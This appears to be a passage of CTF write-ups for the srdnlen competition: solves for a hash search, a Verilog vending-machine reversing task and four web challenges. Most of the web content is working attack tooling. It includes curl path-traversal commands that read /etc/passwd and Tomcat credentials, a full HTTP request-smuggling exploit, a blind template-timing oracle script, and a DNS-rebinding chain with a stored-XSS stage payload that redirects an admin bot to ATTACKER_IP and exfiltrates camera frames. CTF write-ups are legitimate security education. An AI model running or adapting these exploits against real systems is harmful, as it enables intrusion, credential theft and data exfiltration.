The answer turned out to be 6 characters long, containing mixed case and digits. The key insight was that prior exhaustive searches only covered [a-z0-9_] for short lengths. Running MITM with the full printable ASCII charset (95 characters) for length 6 (split 3+3) immediately found the answer:

FOUND n=6: W1H31l

Hash verification:

Input:  W1H31l
Hash:   0x73f3ebcbd9b4cd93
Target: 0x73f3ebcbd9b4cd93
Match:  True

Flag

srdnlen{W1H31l}

Rev Juice

Description

We are given Verilog for a vending machine. Product 8 (rev_juice) is not directly selectable (SP1..SP7 only), but selector.v has a hidden condition that sets ENABLE <= 8'h80, which enables product 8 (price 0).

The flag format is a move string:

• I<n>C = insert n coins one-by-one

• SPm = select product m (1..7)

• CNL = cancel

• Buying consumes coins.

• Cancel refunds remaining inserted coins.

• The challenge is based on using exactly 19 coins with reuse allowed.

Solution

1. Reverse selector.v hidden condition. The conjunction over COINS_HISTORY[...] forces the key taps (at trigger cycle t):

• H[0]=1

• H[7]=4

• H[28]=H[33]=H[38]=6

• H[63]=H[73]=2

• H[80]=9

• and modular sum: (H[19]+H[21]+H[56]+H[69]) mod 32 = 0

1. Build timing model from stable-cycle behavior. The solve uses these effective stable-to-stable durations:

• Insert 1 coin: 3 cycles

• Successful selection: 7 cycles

• Failed selection: 5 cycles

• CNL with coins inserted: 4 cycles

• CNL at 0: 2 cycles

1. Search for a sequence that places those history values at the required offsets and triggers product 8. The working sequence is:

srdnlen{I9C_SP6_CNL_I2C_SP2_I6C_SP6_SP6_SP5_CNL_I4C_SP1}

1. Why this sequence aligns:

• Creates the required high past value 9 (the H[80] tap).

• Creates the two 2 taps (H[73], H[63]).

• Holds 6 long enough for H[38], H[33], H[28].

• Uses CNL timing to place required zero-sum taps.

• Ends at 4 -> 1 (SP1) so H[7]=4 and H[0]=1 line up when hidden condition is checked.

1. Verification helper script (timing + full selector equations):

seq = ["I9C", "SP6", "CNL", "I2C", "SP2", "I6C", "SP6", "SP6", "SP5", "CNL", "I4C", "SP1"]
prices = {1: 3, 2: 2, 3: 4, 4: 5, 5: 6, 6: 7, 7: 3}

# Expand macro moves to single actions.
moves = []
for tok in seq:
    if tok.startswith("I") and tok.endswith("C"):
        moves += ["COIN"] * int(tok[1:-1])
    else:
        moves.append(tok)

def dur_and_update(coins, mv):
    if mv == "COIN":
        return coins + 1, 3
    if mv == "CNL":
        return (0, 4) if coins > 0 else (0, 2)
    p = prices[int(mv[2:])]
    if coins >= p:
        return coins - p, 7
    return coins, 5

coins = 0
timeline = []
for mv in moves:
    coins, d = dur_and_update(coins, mv)
    timeline.extend([coins] * d)

# Extra idle cycles after last move.
timeline.extend([coins] * 30)

def u5(x):
    return x & 0x1F

def selector_cond(t):
    h = lambda k: timeline[t - k]
    return (
        u5(h(0) + h(7)) == 5 and
        h(63) * h(73) == 4 and
        u5(h(28) + h(33) + h(38)) == 18 and
        u5(h(80) - h(7)) == 5 and
        u5(h(19) + h(21) + h(56) + h(69)) == 0 and
        h(28) * h(0) + h(63) == 8 and
        h(80) == u5(h(28) + h(63) + h(0)) and
        u5(h(33) - h(7)) == h(73) and
        h(38) == h(28) and
        u5(h(80) + h(0)) == u5(h(7) + h(28)) and
        u5(h(63) + h(73) + h(7)) == u5(h(28) + h(73)) and
        u5(h(80) - h(63) - h(73) - h(7)) == h(0)
    )

hits = [t for t in range(80, len(timeline)) if selector_cond(t)]
print("selector condition true at cycles:", hits[:10])

This confirms cycles where the hidden selector condition is satisfied, which is the event that enables product 8.

---

web

Double Shop

Description

The site is a vending-machine frontend with two backend JSP endpoints:

• /api/checkout.jsp (creates receipt logs)

• /api/receipt.jsp?id=... (renders receipt file contents)

/api/manager returns 403, hinting at a hidden “Manager” target.

Solution

1. Inspect frontend JS and identify backend endpoints:

curl -sS http://doubleshop.challs.srdnlen.it/assets/vendor.js

1. Confirm receipt.jsp path traversal:

curl -sS 'http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../etc/passwd'

1. Read Tomcat config via traversal:

curl -sS 'http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../usr/local/tomcat/conf/server.xml'
curl -sS 'http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../usr/local/tomcat/conf/tomcat-users.xml'

Important findings:

• server.xml contains:

  • RemoteIpValve

  • internalProxies=".*"

  • remoteIpHeader="X-Access-Manager"

• tomcat-users.xml contains:

  • username="adm1n"

  • password="317014774e3e85626bd2fa9c5046142c"

This means we can spoof client IP for Tomcat with:

X-Access-Manager: 127.0.0.1

1. Bypass Apache block on /api/manager using path-parameter trick (;) and reach Tomcat Manager:

curl -i -sS 'http://doubleshop.challs.srdnlen.it/api/manager;/'
curl -i -sS -H 'X-Access-Manager: 127.0.0.1' 'http://doubleshop.challs.srdnlen.it/api/manager;/html'

1. Authenticate to Tomcat Manager with leaked creds:

curl -i -sS \
  -H 'X-Access-Manager: 127.0.0.1' \
  -u 'adm1n:317014774e3e85626bd2fa9c5046142c' \
  'http://doubleshop.challs.srdnlen.it/api/manager;/html'

1. Read application list in Manager response. One deployed context path is:

/srdnlen{d0uble_m1sC0nf_aR3_n0t_fUn}

Flag:

srdnlen{d0uble_m1sC0nf_aR3_n0t_fUn}

MSN Revive

Description

Web challenge with frontend + gateway + backend source. The backend seeds the flag into initial chat history, and an export endpoint can render any session's messages. Gateway tries to protect that endpoint as local-only.

Solution

The key bug chain:

1. src/backend/utils.py seeds the flag in chat session 00000000-0000-0000-0000-000000000000.

2. src/backend/api.py has POST /api/export/chat with no auth/membership check (only session_id exists).

3. src/gateway/gateway.js blocks /api/export/chat for non-local clients.

4. src/gateway/gateway.js rewrites Content-Length for /api/chat/event when content-type is application/x-msnmsgrp2p, deriving length from attacker-controlled MSN P2P TotalSize field.

5. Gateway still forwards the full body buffer to backend, so backend sees fewer bytes than actually sent. Extra bytes become a smuggled second HTTP request on keep-alive connection (CL desync / request smuggling).

Exploit strategy:

• Send POST /api/chat/event with malicious P2P header where TotalSize=0 so gateway forwards Content-Length: 48 to backend.

• Append a full smuggled request after the first 48 bytes: POST /api/export/chat with JSON {"session_id":"000...000","format":"html"}.

• Trigger follow-up proxied requests (/api/foo) to consume poisoned backend response queue.

• Parse response bodies for srdnlen{...}.

Recovered flag:

srdnlen{n0st4lg14_1s_4_vuln3r4b1l1ty_t00}

Full exploit code used:

#!/usr/bin/env python3
import argparse
import random
import re
import string
import struct
import sys
import time
from typing import Optional

import requests

FLAG_RE = re.compile(r"srdnlen\{[^}]+\}")
TARGET_SID = "00000000-0000-0000-0000-000000000000"


def rand_str(n: int) -> str:
    chars = string.ascii_lowercase + string.digits
    return "".join(random.choice(chars) for _ in range(n))


def probe_backend(base: str, timeout: float = 30.0) -> bool:
    try:
        r = requests.get(f"{base}/api/foo", timeout=timeout)
        return r.status_code in (400, 401, 403, 404, 405, 500)
    except requests.RequestException:
        return False


def login_any(
    base: str, session: requests.Session, timeout: float = 30.0
) -> bool:
    username = f"pwn_{rand_str(10)}"
    password = f"P@ss_{rand_str(12)}"

    try:
        session.post(
            f"{base}/api/auth/register",
            json={"username": username, "password": password},
            timeout=timeout,
        )
        r = session.post(
            f"{base}/api/auth/login",
            json={"username": username, "password": password},
            timeout=timeout,
        )
    except requests.RequestException:
        return False

    return r.status_code == 200 and '"ok":true' in r.text


def build_smuggled_http_request() -> bytes:
    export_body = (
        '{"session_id":"'
        + TARGET_SID
        + '","format":"html"}'
    ).encode()

    req = (
        b"POST /api/export/chat HTTP/1.1\r\n"
        b"Host: backend\r\n"
        b"Content-Type: application/json\r\n"
        + f"Content-Length: {len(export_body)}\r\n".encode()
        + b"Connection: keep-alive\r\n"
        + b"\r\n"
        + export_body
    )
    return req


def build_attack_body() -> bytes:
    # 48-byte P2P header with TotalSize=0 => gateway rewrites CL to 48.
    p2p = struct.pack(
        "<IIQQIIIIQ",
        1,  # session_id
        0,  # identifier
        0,  # offset
        0,  # total_size -> makes gateway set backend CL=48
        0,  # message_size
        0,  # flags
        0,  # ack_session_id
        0,  # ack_unique_id
        0,  # ack_data_size
    )

    return p2p + build_smuggled_http_request()


def extract_flag(blob: str) -> Optional[str]:
    m = FLAG_RE.search(blob)
    if m:
        return m.group(0)
    return None


def try_smuggle(
    base: str,
    session: requests.Session,
    timeout: float = 30.0,
    consume_requests: int = 8,
    consume_path: str = "/api/foo",
) -> Optional[str]:
    body = build_attack_body()
    headers = {"Content-Type": "application/x-msnmsgrp2p"}

    blobs = []

    # Poison response queue.
    try:
        r0 = session.post(
            f"{base}/api/chat/event",
            data=body,
            headers=headers,
            timeout=timeout,
        )
        blobs.append(r0.text)
    except requests.RequestException:
        # Even if this errors on the client side, backend poisoning may still happen.
        pass

    # Consume queued response(s) using proxied endpoints.
    for _ in range(consume_requests):
        try:
            r = session.get(f"{base}{consume_path}", timeout=timeout)
            blobs.append(r.text)
        except requests.RequestException:
            continue

    for t in blobs:
        f = extract_flag(t)
        if f:
            return f

    return None


def main() -> int:
    ap = argparse.ArgumentParser(description="MSN Revive exploit")
    ap.add_argument(
        "--base",
        default="http://msnrevive.challs.srdnlen.it",
        help="Base URL",
    )
    ap.add_argument(
        "--wait-seconds",
        type=int,
        default=0,
        help="Max seconds to wait for backend availability",
    )
    ap.add_argument(
        "--probe-timeout",
        type=int,
        default=35,
        help="Probe request timeout (seconds)",
    )
    ap.add_argument(
        "--probe-interval",
        type=int,
        default=12,
        help="Seconds between availability probes",
    )
    ap.add_argument(
        "--request-timeout",
        type=int,
        default=35,
        help="Per-request timeout for login/smuggling (seconds)",
    )
    ap.add_argument(
        "--login-attempts",
        type=int,
        default=10,
        help="Login attempts before falling back to no-auth mode",
    )
    ap.add_argument(
        "--rounds",
        type=int,
        default=0,
        help="Smuggling rounds (0 means unlimited)",
    )
    ap.add_argument(
        "--round-delay",
        type=float,
        default=2.0,
        help="Delay between smuggling rounds (seconds)",
    )
    ap.add_argument(
        "--consume-requests",
        type=int,
        default=10,
        help="Follow-up requests per smuggling round",
    )
    ap.add_argument(
        "--consume-path",
        default="/api/foo",
        help="Proxied path used to consume queued backend responses",
    )
    args = ap.parse_args()

    base = args.base.rstrip("/")

    print(f"[*] Target: {base}")
    print("[*] Waiting for backend to become responsive...")

    start = time.time()
    while True:
        if probe_backend(base, timeout=args.probe_timeout):
            print("[+] Backend appears responsive")
            break
        if args.wait_seconds > 0 and (time.time() - start >= args.wait_seconds):
            print("[-] Backend still unresponsive (timeout)")
            return 1
        time.sleep(args.probe_interval)

    s = requests.Session()
    logged_in = False

    print("[*] Registering/logging in...")
    for _ in range(args.login_attempts):
        if login_any(base, s, timeout=args.request_timeout):
            print("[+] Logged in")
            logged_in = True
            break
        time.sleep(args.round_delay)

    if not logged_in:
        # /api/chat/event is protected, but smuggling can still work if the first
        # request returns 401 and leaves appended bytes queued for keep-alive parse.
        print("[!] Login failed, continuing with no-auth smuggling mode")

    print("[*] Launching smuggling rounds...")
    i = 1
    while True:
        if args.rounds > 0 and i > args.rounds:
            break

        flag = try_smuggle(
            base,
            s,
            timeout=args.request_timeout,
            consume_requests=args.consume_requests,
            consume_path=args.consume_path,
        )
        if flag:
            print(f"[+] FLAG: {flag}")
            return 0
        if i % 5 == 0:
            if args.rounds > 0:
                print(f"[*] Round {i}/{args.rounds} (no flag yet)")
            else:
                print(f"[*] Round {i} (no flag yet)")
        i += 1
        time.sleep(args.round_delay)

    print("[-] No flag recovered in configured rounds")
    return 2


if __name__ == "__main__":
    sys.exit(main())

TodoList

Description

The app is client-side only and uses Handlebars templates. The admin bot:

1. Visits the challenge page.

2. Stores {"secret":"<FLAG>"} in app state and saves to cookie.

3. Visits attacker-controlled URL via /report/.

Even without XSS, we can build a blind oracle against the bot by making template rendering intentionally expensive when a guessed condition is true.

Solution

The key primitive is:

• Template condition checks secret characters via lookup secret <idx>.

• If condition is true, render a heavy nested #each payload.

• If false, render lightweight ok.

When sent through /report/:

• True branch causes fast bot failure (500 {"error":"Admin failed..."}).

• False branch reaches the bot wait path and usually returns 504 around 60s.

That gives a character-membership oracle.

#!/usr/bin/env python3
import json
import re
import time
import urllib.parse
import requests

BASE_URL = "https://todolist.challs.srdnlen.it/"
REPORT_URL = "https://todolist.challs.srdnlen.it/report/"
HEAVY = (
    "{{#each @root.arr}}"
    "{{#each @root.arr}}"
    "{{#each @root.arr}}"
    "{{#each @root.arr}}"
    "{{/each}}{{/each}}{{/each}}{{/each}}"
)
ARR = list(range(140))
START_FLAG = "srdnlen{"
CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789_}")

def build_target_url(pos: int, subset: list[str]) -> str:
    template = f"{{{{#if (lookup @root.map (lookup secret {pos}))}}}}{HEAVY}{{{{else}}}}ok{{{{/if}}}}"
    data = {"arr": ARR, "map": {c: 1 for c in subset}}
    params = {
        "template": template,
        "data": json.dumps(data, separators=(",", ":")),
    }
    return BASE_URL + "?" + urllib.parse.urlencode(params)

def oracle(pos: int, subset: list[str]) -> bool:
    target = build_target_url(pos, subset)
    while True:
        start = time.time()
        r = requests.post(REPORT_URL, data={"url": target}, timeout=130)
        elapsed = time.time() - start
        text = r.text

        if "Too many requests" in text:
            m = re.search(r"after (\\d+) seconds", text)
            time.sleep((int(m.group(1)) if m else 60) + 1)
            continue
        if r.status_code == 404 and "404 page not found" in text:
            time.sleep(5)
            continue

        # True branch (heavy): fast fail
        if "Admin failed to visit the URL." in text and elapsed < 45:
            return True
        # False branch: slow path/timeout
        if elapsed >= 50 or "504 Gateway Time-out" in text or "Admin successfully" in text:
            return False

        time.sleep(5)

def recover_char(pos: int, charset: list[str]) -> str:
    cands = charset[:]
    while len(cands) > 1:
        mid = len(cands) // 2
        left = cands[:mid]
        cands = left if oracle(pos, left) else cands[mid:]
    return cands[0]

def main():
    flag = START_FLAG
    pos = len(flag)
    while True:
        ch = recover_char(pos, CHARSET + ["}"])
        # verify singleton
        if not oracle(pos, [ch]):
            # fallback if needed
            ch = recover_char(pos, list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}!-@#$%^&*()+=[]{}:;,.?/\\|~"))
        flag += ch
        print(flag, flush=True)
        if ch == "}":
            break
        pos += 1

if __name__ == "__main__":
    main()

# one-shot probe for "is secret[pos] == ch?"
tpl = f"{{{{#if (lookup @root.map (lookup secret {pos}))}}}}{HEAVY}{{{{else}}}}ok{{{{/if}}}}"
data = {"arr": list(range(140)), "map": {ch: 1}}

This confirmed the final suffix and produced:

srdnlen{leakycstiggwp}

After Image

Description

A web challenge with three services behind afterimage-nginx:

• PHP app (index.php, profile.php, tokens.php)

• admin bot (Firefox) visiting attacker-supplied URLs via /report

• internal camera at CAMERA_IP exposing MJPEG /stream with the real flag rendered on-frame

Goal: get the bot to leak the camera frame.

Solution

1. Find initial primitive (source-based)

• profile.php accepts file uploads and writes them to /tmp/<sanitized filename>.

• PHP session files are also in /tmp as sess_<PHPSESSID>.

• Uploading a file named sess_<target_sid> overwrites another session file.

• index.php renders $_SESSION['nickname'] unsafely -> stored XSS.

1. Exploit chain

• Overwrite bot-target session with nickname=<script>....

• Trigger bot with /report and url=http://afterimage-nginx/index.php?PHPSESSID=<target_sid>.

• Stage1 redirects bot to attacker host (http://ATTACKER_IP/r?...).

• Stage /r probes many random *-and-* 1u.ms hosts (IP1=ATTACKER_IP, IP2=CAMERA_IP) using CORS /probe.

• On first host that resolves to attacker IP, spray several hidden iframe loads to /p (same host).

• Stage /p sends /die to shut attacker listener, then requests same-host /stream.

• Browser failover reaches CAMERA_IP, making /stream same-origin and readable.

• Parse first JPEG from MJPEG stream.

• Exfiltrate by writing JPEG_BASE64:<...> into a controlled session (loot<rand>) on afterimage.challs.srdnlen.it via POST /profile.php?PHPSESSID=<loot_sid>.

1. Recover flag and submit

• Pull loot session page, extract JPEG_BASE64, decode to frame_success.jpg.

• OCR + renderer matching yielded the exact flag:

• srdnlen{s4me_0rig1n_is_b0ring_as_h3ll}

Exploit script (run_rebind_attempt.sh)

#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${BASE_URL:-http://afterimage.challs.srdnlen.it}"
GCP_IP="${GCP_IP:-ATTACKER_IP}"

tok="$(openssl rand -hex 4)"
target_sid="$(openssl rand -hex 13)"
uploader_sid="$(openssl rand -hex 8)"
loot_sid="loot$(openssl rand -hex 6)"
stage1_url="http://${GCP_IP}/r?lsid=${loot_sid}&tok=${tok}"

stage1_js="<script>setTimeout(function(){location='${stage1_url}'},1200);</script>"
stage1_len="${#stage1_js}"
stage1_file="payload_stage1_current.txt"
printf 'nickname|s:%d:"%s";' "${stage1_len}" "${stage1_js}" > "${stage1_file}"

echo "[*] token      : ${tok}"
echo "[*] stage1 url : ${stage1_url}"
echo "[*] loot sid   : ${loot_sid}"
echo "[*] target sid : ${target_sid}"
echo "[*] upload sid : ${uploader_sid}"

upload_code="$(curl -sS -o /tmp/afterimage_upload_resp.txt -w '%{http_code}' \
  -X POST "${BASE_URL}/profile.php?PHPSESSID=${uploader_sid}" \
  -F "config_file=@${stage1_file};filename=sess_${target_sid};type=text/plain")"

echo "[*] upload http: ${upload_code}"
if [[ "${upload_code}" != "200" ]]; then
  echo "[!] upload response:"
  cat /tmp/afterimage_upload_resp.txt
  exit 1
fi

tmp_report="/tmp/afterimage_report_${tok}.txt"
curl -sS \
  -X POST "${BASE_URL}/report" \
  --data-urlencode "url=http://afterimage-nginx/index.php?PHPSESSID=${target_sid}" > "${tmp_report}" &
report_pid=$!

echo "[*] monitoring loot session while bot runs..."
last_state=""
last_err=""
last_jpg="0"
for i in $(seq 1 140); do
  tmp_html="/tmp/loot_live_${tok}.html"
  curl -s "${BASE_URL}/index.php?PHPSESSID=${loot_sid}" > "${tmp_html}" || true
  state="$(rg -o 'stage2_[^<]+' -m1 "${tmp_html}" || true)"
  err="$(rg -o 'Error:[^\"]+' -m1 "${tmp_html}" || true)"
  jpg_len="$(rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m1 "${tmp_html}" | wc -c || true)"

  if [[ "${state}" != "${last_state}" || "${err}" != "${last_err}" || "${jpg_len}" != "${last_jpg}" ]]; then
    echo "[live ${i}s] state='${state}' err='${err}' jpeg_chars=${jpg_len}"
    last_state="${state}"
    last_err="${err}"
    last_jpg="${jpg_len}"
  fi

  if [[ "${jpg_len}" -gt 20 ]]; then
    echo "[*] JPEG marker detected in loot session."
    break
  fi
  sleep 1
done

wait "${report_pid}" || true
report_resp="$(cat "${tmp_report}")"
echo "[*] report resp: ${report_resp}"
echo "[*] check loot session with:"
echo "    curl -s '${BASE_URL}/index.php?PHPSESSID=${loot_sid}' | rg -o 'stage2_[^<]+'"
echo "    curl -s '${BASE_URL}/index.php?PHPSESSID=${loot_sid}' | rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m 1"

Stage server (oneshot80.py)

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import argparse
import threading
from pathlib import Path
import urllib.parse


def build_handler(payload: bytes, stage_path: str, probe_path: str, pre_path: str, die_path: str):
    p_shutdown = {"done": False}

    class H(BaseHTTPRequestHandler):
        def do_GET(self):
            path = urllib.parse.urlparse(self.path).path

            if path == probe_path:
                self.send_response(200)
                self.send_header('Content-Type', 'text/plain; charset=utf-8')
                self.send_header('Content-Length', '2')
                self.send_header('Access-Control-Allow-Origin', '*')
                self.send_header('Cache-Control', 'no-store')
                self.send_header('Connection', 'close')
                self.end_headers()
                self.wfile.write(b'ok')
                self.wfile.flush()
                return

            if path == die_path:
                self.send_response(200)
                self.send_header('Content-Type', 'text/plain; charset=utf-8')
                self.send_header('Content-Length', '3')
                self.send_header('Access-Control-Allow-Origin', '*')
                self.send_header('Cache-Control', 'no-store')
                self.send_header('Connection', 'close')
                self.end_headers()
                self.wfile.write(b'bye')
                self.wfile.flush()
                if not p_shutdown["done"]:
                    p_shutdown["done"] = True
                    threading.Thread(target=self.server.shutdown, daemon=True).start()
                return

            if path in (stage_path, pre_path):
                self.send_response(200)
                self.send_header('Content-Type', 'text/html; charset=utf-8')
                self.send_header('Content-Length', str(len(payload)))
                self.send_header('Cache-Control', 'no-store')
                self.send_header('Connection', 'close')
                self.end_headers()
                self.wfile.write(payload)
                self.wfile.flush()
                return

            else:
                self.send_response(404)
                self.send_header('Content-Type', 'text/plain; charset=utf-8')
                self.end_headers()
                self.wfile.write(b'not found')
                self.wfile.flush()
                return

        def log_message(self, fmt, *args):
            print(f"[{self.address_string()}] {fmt % args}")

    return H


def main():
    ap = argparse.ArgumentParser(description='Serve payload/probe on :80; exit after /die hit')
    ap.add_argument('--payload', default='payload.html', help='Path to payload html file')
    ap.add_argument('--path', default='/p', help='Stage path (default: /p)')
    ap.add_argument('--prepath', default='/r', help='Pre-stage path (default: /r)')
    ap.add_argument('--probepath', default='/probe', help='CORS probe path (default: /probe)')
    ap.add_argument('--diepath', default='/die', help='Shutdown trigger path (default: /die)')
    ap.add_argument('--bind', default='0.0.0.0', help='Bind address (default: 0.0.0.0)')
    ap.add_argument('--port', type=int, default=80, help='Port (default: 80)')
    args = ap.parse_args()

    payload_path = Path(args.payload)
    payload = payload_path.read_bytes()
    stage_path = args.path if args.path.startswith('/') else '/' + args.path
    probe_path = args.probepath if args.probepath.startswith('/') else '/' + args.probepath
    pre_path = args.prepath if args.prepath.startswith('/') else '/' + args.prepath
    die_path = args.diepath if args.diepath.startswith('/') else '/' + args.diepath

    httpd = HTTPServer((args.bind, args.port), build_handler(payload, stage_path, probe_path, pre_path, die_path))
    print(f"[*] stage server listening on http://{args.bind}:{args.port}")
    print(f"[*] pre-stage path: {pre_path}")
    print(f"[*] stage path   : {stage_path}")
    print(f"[*] probe path   : {probe_path} (CORS 200)")
    print(f"[*] die path     : {die_path} (shutdown trigger)")
    print(f"[*] payload bytes: {len(payload)} from {payload_path}")
    print('[*] will exit after first successful /die response')
    httpd.serve_forever()


if __name__ == '__main__':
    main()

Stage payload (payload.html)

<!doctype html>
<meta charset="utf-8">
<body>
<script>
(async () => {
  const qs = new URLSearchParams(location.search);
  const LOOT_SID = qs.get("lsid") || "loot_default";
  const TOK = qs.get("tok") || "tok0";
  const APP = "http://afterimage.challs.srdnlen.it";
  const GCP_DASH = "ATTACKER_IP_DASH";

  const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

  async function pushState(step, info, bioOverride) {
    try {
      const p = new URLSearchParams();
      p.set("save_manual", "1");
      p.set("theme", "light");
      p.set("nickname", "stage2_" + TOK + "_" + step);
      p.set("motto", String(info || "").slice(0, 220));
      if (bioOverride !== undefined) p.set("bio", bioOverride);
      await fetch(APP + "/profile.php?PHPSESSID=" + encodeURIComponent(LOOT_SID), {
        method: "POST",
        mode: "no-cors",
        headers: { "Content-Type": "application/x-www-form-urlencoded" },
        body: p.toString(),
      });
    } catch (_) {}
  }

  async function pushJpeg(blob) {
    const ab = await blob.arrayBuffer();
    const bytes = new Uint8Array(ab);
    let bin = "";
    for (let i = 0; i < bytes.length; i++) bin += String.fromCharCode(bytes[i]);
    await pushState("jpg", "size=" + blob.size, "JPEG_BASE64:" + btoa(bin));
  }

  async function stageProbeAnd() {
    await pushState("r_boot", "h=" + location.host + " p=" + location.pathname);
    for (let i = 1; i <= 36; i++) {
      const nonce = Math.random().toString(16).slice(2, 8);
      const cand = TOK + i.toString(16) + nonce + "-make-" + GCP_DASH + "-and-CAMERA_IP_DASH-rr.1u.ms";
      const u = "http://" + cand + "/probe?i=" + i + "&t=" + Date.now();
      try {
        const ac = new AbortController();
        const tm = setTimeout(() => ac.abort(), 1400);
        const r = await fetch(u, { mode: "cors", cache: "no-store", signal: ac.signal });
        clearTimeout(tm);
        if (r.ok) {
          await pushState("probe_hit", "i=" + i + " cand=" + cand);
          // DNS order may flip between requests; spray a few /p iframe loads on same host.
          for (let j = 1; j <= 6; j++) {
            const f = document.createElement("iframe");
            f.style.display = "none";
            f.src =
              "http://" + cand + "/p?lsid=" + encodeURIComponent(LOOT_SID) +
              "&tok=" + encodeURIComponent(TOK) +
              "&j=" + j + "&t=" + Date.now();
            document.body.appendChild(f);
            await sleep(220);
          }
          return;
        }
      } catch (e) {
        // keep state noise low so stage2 updates are not overwritten
      }
      await sleep(140);
    }
    await pushState("probe_fail", "no public and-host");
  }

  function findPattern(hay, pat, from = 0) {
    outer: for (let i = from; i <= hay.length - pat.length; i++) {
      for (let j = 0; j < pat.length; j++) if (hay[i + j] !== pat[j]) continue outer;
      return i;
    }
    return -1;
  }

  async function probeRoot(attempt) {
    try {
      const ac = new AbortController();
      const tm = setTimeout(() => ac.abort(), 1500);
      const resp = await fetch("/?r=" + Date.now() + "_" + attempt, {
        cache: "no-store",
        signal: ac.signal
      });
      clearTimeout(tm);
      const ct = (resp.headers.get("content-type") || "").slice(0, 80);
      await pushState("root_ok", "a=" + attempt + " ct=" + ct);
    } catch (e) {
      await pushState("root_err", "a=" + attempt + " e=" + String(e).slice(0, 90));
    }
  }

  function waitImage(url, timeoutMs = 5000) {
    return new Promise((resolve, reject) => {
      const img = new Image();
      let done = false;
      const tm = setTimeout(() => {
        if (done) return;
        done = true;
        reject(new Error("img timeout"));
      }, timeoutMs);
      img.onload = () => {
        if (done) return;
        done = true;
        clearTimeout(tm);
        resolve(img);
      };
      img.onerror = () => {
        if (done) return;
        done = true;
        clearTimeout(tm);
        reject(new Error("img error"));
      };
      img.src = url;
    });
  }

  async function grabViaCanvas(attempt) {
    const img = await waitImage("/stream?i=" + Date.now() + "_" + attempt, 7000);
    await pushState("img_ok", "a=" + attempt + " w=" + img.naturalWidth + " h=" + img.naturalHeight);

    const c = document.createElement("canvas");
    c.width = img.naturalWidth || 640;
    c.height = img.naturalHeight || 480;
    const ctx = c.getContext("2d");
    ctx.drawImage(img, 0, 0);

    try {
      ctx.getImageData(0, 0, 1, 1);
    } catch (e) {
      await pushState("cv_sec", "a=" + attempt + " e=" + String(e).slice(0, 90));
      throw e;
    }

    return await new Promise((resolve, reject) => {
      c.toBlob((blob) => blob ? resolve(blob) : reject(new Error("toBlob null")), "image/jpeg", 0.95);
    });
  }

  async function grabViaFetch(attempt) {
    const SOI = new Uint8Array([0xff, 0xd8]);
    const EOI = new Uint8Array([0xff, 0xd9]);

    const ac = new AbortController();
    const tm = setTimeout(() => ac.abort(), 2600);
    const resp = await fetch("/stream?f=" + Date.now() + "_" + attempt, {
      cache: "no-store",
      signal: ac.signal
    });
    clearTimeout(tm);

    const ct = (resp.headers.get("content-type") || "").slice(0, 80);
    await pushState("fetch_ct", "a=" + attempt + " ct=" + ct);
    if (!resp.body) throw new Error("no body");

    const reader = resp.body.getReader();
    let buf = new Uint8Array(0);
    let start = -1;
    let chunks = 0;

    while (true) {
      const { value, done } = await reader.read();
      if (done) throw new Error("stream ended");
      chunks++;

      const tmp = new Uint8Array(buf.length + value.length);
      tmp.set(buf);
      tmp.set(value, buf.length);
      buf = tmp;

      if (start === -1) start = findPattern(buf, SOI);
      if (start !== -1) {
        const end = findPattern(buf, EOI, start + 2);
        if (end !== -1) {
          const jpeg = buf.slice(start, end + 2);
          try { await reader.cancel(); } catch (_) {}
          return new Blob([jpeg], { type: "image/jpeg" });
        }
      }

      if (buf.length > 1000000 || chunks > 90) throw new Error("too much data");
    }
  }

  async function stageFetchFrame() {
    await pushState("boot", "h=" + location.host + " p=" + location.pathname);
    try {
      await fetch("/die?tok=" + encodeURIComponent(TOK) + "&t=" + Date.now(), {
        mode: "no-cors",
        cache: "no-store"
      });
      await pushState("die_sent", "ok");
    } catch (e) {
      await pushState("die_err", String(e).slice(0, 80));
    }
    await sleep(1000);

    for (let attempt = 1; attempt <= 22; attempt++) {
      await probeRoot(attempt);

      try {
        const b1 = await grabViaCanvas(attempt);
        await pushState("cv_ok", "a=" + attempt + " n=" + b1.size);
        await pushJpeg(b1);
        await pushState("done", "m=canvas a=" + attempt);
        return;
      } catch (e) {
        await pushState("cv_err", "a=" + attempt + " e=" + String(e).slice(0, 90));
      }

      try {
        const b2 = await grabViaFetch(attempt);
        await pushState("fetch_ok", "a=" + attempt + " n=" + b2.size);
        await pushJpeg(b2);
        await pushState("done", "m=fetch a=" + attempt);
        return;
      } catch (e) {
        await pushState("fetch_err", "a=" + attempt + " e=" + String(e).slice(0, 90));
      }

      await sleep(1000);
    }
    throw new Error("all attempts failed");
  }

  try {
    if (location.pathname === "/r") {
      await stageProbeAnd();
    } else {
      await stageFetchFrame();
    }
  } catch (e) {
    await pushState("fail", String(e).slice(0, 140));
  }
})();
</script>
</body>

Frame extraction helper used

curl -s 'http://afterimage.challs.srdnlen.it/index.php?PHPSESSID=LOOT_SID_EXAMPLE' > /tmp/loot_success.html
rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m 1 /tmp/loot_success.html > /tmp/jpegb64_line.txt
python3 - << 'PY'
import base64,re
s=open('/tmp/jpegb64_line.txt','r').read().strip()
m=re.match(r'JPEG_BASE64:([A-Za-z0-9+/=]+)$',s)
open('frame_success.jpg','wb').write(base64.b64decode(m.group(1)))
print('wrote frame_success.jpg')
PY